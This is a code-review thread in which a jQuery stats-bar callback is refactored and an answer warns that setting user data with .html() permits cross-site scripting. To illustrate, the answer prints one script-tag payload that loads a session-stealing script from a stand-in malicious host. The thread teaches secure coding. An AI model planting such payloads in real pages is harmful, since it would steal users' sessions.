2
\$\begingroup\$

I'm updating a stats bar on the page after a user action. The code works, but as you can see, it's very messy.

Is there a shorter way of writing this function? Seems like a complete mess. I thought about using $.each a couple times to cycle through, but since I need to compare values from the first two array keys in the multi-dimensional array, it makes things much more complicated.

Here's an example of the post object data:

{
    {team_avg: {overdue: 1, in_review: 2, in_progress: 1, assigned: 1}}
    {user: {assigned: 5, overdue: 3, in_review: 4, in_progress: 1}
}

Here's my current (mess) for the $.post callback:

$.post("{{ route('task.load') }}", { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {

    $task_summary = $('.taskload-stats');

    // update # of assigned
    $assigned = $task_summary.find('.assigned');
    $assigned.html(data.user.assigned);

    if (data.user.assigned > data.team_avg.assigned) {
        $assigned.append(' <i data-tooltip aria-haspopup="true" title="Above Team Avg" class="fa fa-arrow-up above-avg" aria-hidden="true"></i>');
    } else if (data.user.assigned === data.team_avg.assigned) {
        $assigned.append(' <span data-tooltip aria-haspopup="true" title="Equals Team Average" class="neutral">--</span>');
    } else {
        $assigned.append(' <i data-tooltip aria-haspopup="true" title="Below Team Avg" class="fa fa-arrow-down below-avg" aria-hidden="true"></i>');
    }

    // update # of in progress
    $in_progress = $task_summary.find('.in-progress');
    $in_progress.html(data.user.in_progress);

    if (data.user.in_progress > data.team_avg.in_progress) {
        $in_progress.append(' <i data-tooltip aria-haspopup="true" title="Above Team Avg" class="fa fa-arrow-up above-avg" aria-hidden="true"></i>');
    } else if (data.user.in_progress === data.team_avg.in_progress) {
        $in_progress.append(' <span data-tooltip aria-haspopup="true" title="Equals Team Average" class="neutral">--</span>');
    } else {
        $in_progress.append(' <i data-tooltip aria-haspopup="true" title="Below Team Avg" class="fa fa-arrow-down below-avg" aria-hidden="true"></i>');
    }

    // update # of in review
    $in_review = $task_summary.find('.in-review');
    $in_review.html(data.user.in_review);

    if (data.user.in_review > data.team_avg.in_review) {
        $in_review.append(' <i data-tooltip aria-haspopup="true" title="Above Team Avg" class="fa fa-arrow-up above-avg" aria-hidden="true"></i>');
    } else if (data.user.in_review === data.team_avg.in_review) {
        $in_review.append(' <span data-tooltip aria-haspopup="true" title="Equals Team Average" class="neutral">--</span>');
    } else {
        $in_review.append(' <i data-tooltip aria-haspopup="true" title="Below Team Avg" class="fa fa-arrow-down below-avg" aria-hidden="true"></i>');
    }

    // update # of overdue
    $overdue = $task_summary.find('.overdue');
    $overdue.html(data.user.overdue);

    if (data.user.overdue > data.team_avg.overdue) {
        $overdue.append(' <i data-tooltip aria-haspopup="true" title="Above Team Avg" class="fa fa-arrow-up below-avg" aria-hidden="true"></i>');
    } else if (data.user.overdue === data.team_avg.overdue) {
        $overdue.append(' <span data-tooltip aria-haspopup="true" title="Equals Team Average" class="neutral">--</span>');
    } else {
        $overdue.append(' <i data-tooltip aria-haspopup="true" title="Below Team Avg" class="fa fa-arrow-down above-avg" aria-hidden="true"></i>');
    }

    $(document).foundation('tooltip', 'reflow');
});
\$\endgroup\$
2
\$\begingroup\$

That code is full of security holes. Completely avoid .html, create elements programmatically, not as strings of html text. Use .text to set the visible text of elements securely.

What happens if data.user.assigned has this value:

<script src="//malicious.host.c0m/stealsession.js"></script>Visible Text

Then every user that views that page will load and run the malicious script and send their session cookie to the attacker, who can then impersonate you, because they have your session secret. The user will not be notified at all, they see "Visible Text"

You should not repeat yourself so much. You should create an element, and clone that off for each similar duplication of it. This way, you can just set those common attributes once and create copies of it efficiently.

You have everything named very nicely, you can leverage that and make it table driven:

See jsfiddle

$(function() {
  function createIcons(data, scope, names) {
    var template = $('<i/>', {
      'data-tooltip': '',
      'aria-haspopup': 'true',
      'class': "fa",
      'aria-hidden': "true"
    });

    names.forEach(function(descriptor) {
      var parent = scope.find(descriptor.sel),
          userVal = data.user[descriptor.prop],
          teamAvg = data.team_avg[descriptor.prop];
      parent.text(userVal);
      makeUpDownIcon(parent, template.clone(),
                     userVal, teamAvg);
    });
  }

  function makeUpDownIcon(outputParent, element, input, compareTo) {
    var title, classes;
    if (input > compareTo) {
      title = 'Above Team Avg';
      classes = 'fa-arrow-up above-avg';
    } else if (input === compareTo) {
      title = 'Equals Team Average';
      classes = 'neutral';
    } else {
      title = 'Below Team Avg';
      classes = 'fa-arrow-down below-avg';
    }

    return (element.attr('title', title)
            .addClass(classes)
            .appendTo(outputParent));
  }


  //faked $.post("{{ route('task.load') }}", { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {
  var data = {
    user: {
      assigned: 11,
      in_progress: 10,
      in_review: 3,
      overdue: 44
    },
    team_avg: {
      assigned: 6,
      in_progress: 24,
      in_review: 2,
      overdue: 1
    }
  };

  $task_summary = $('.taskload-stats');

  createIcons(data, $task_summary, [
    { sel: '.assigned', prop: 'assigned' },
    { sel: '.in-progress', prop: 'in_progress' },
    { sel: '.in-review', prop: 'in_review' },
    { sel: '.overdue', prop: 'overdue' }
  ]);

  //$(document).foundation('tooltip', 'reflow');
});

Note that I forced in fake data because I cannot do the real ajax request on jsfiddle. I had to rip out that foundation thing to make it runnable too. You should have no trouble modifying that second part to actually use the post.

EDIT:

If you wanted to have a more complex template, say, a span with text and icon then you could do something a bit like this:

  function createIcons(data, scope, names) {
      var template = $('<div/>'),
          caption = $('<span/>', {
              'data-tooltip': '',
              'aria-haspopup': 'true',
              'class': '',
              'aria-hidden': 'true',
              appendTo: template
          }),
          icon = $('<i/>', {
              appendTo: template
          });

Then before each clone, you can reach into the template and do caption.text(something) and icon.attr('class', 'fa fa-something'), then clone, then the clone will already be set, and no need to go .find into it.

Note that .text blows away all of the content of the node, so I restructured it so .text wont kill the icon.

\$\endgroup\$
  • \$\begingroup\$ Awesome! Going to test this soon. Note, I parse/purify all data coming in and out of my application for injections/scripts. So not worried too much about security. Typically, I normally use .text() over .html(). Didn't think there was much of a difference though (or rather lacked any care to know), thanks - I'll read up on the differences. Appreciate the help! I know it was a sloppy mess! \$\endgroup\$ – Mike Barwick Apr 23 '16 at 19:22
  • \$\begingroup\$ Code works - I had to tweak a couple things. One thing though, for the else if in the makeUpDownIcon, neutral is not an <i>, it's <span data-tooltip aria-haspopup="true" title="Equals Team Average" class="neutral">--</span>. What's the best plan of attack? Thanks again! \$\endgroup\$ – Mike Barwick Apr 23 '16 at 20:05
  • 1
    \$\begingroup\$ @MikeBarwick I think I addressed your question in the edit. Let me know if I misunderstood. \$\endgroup\$ – doug65536 Apr 23 '16 at 20:20
  • 1
    \$\begingroup\$ Another different way to attack this is to have data attributes in the html, then you can extract the names from the html and dynamically read the right properties. It depends upon whether you want the convenience of the html guy changing a property name in the data attribute, or the safety of having the names set more in stone in js. I prefer to offload to the html guy, and let my js code be completely generalized. \$\endgroup\$ – doug65536 Apr 23 '16 at 20:24
  • \$\begingroup\$ If you reverse it so the html tells the js what the property name is, then the html guy can add a new field and it just works. \$\endgroup\$ – doug65536 Apr 23 '16 at 20:26

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.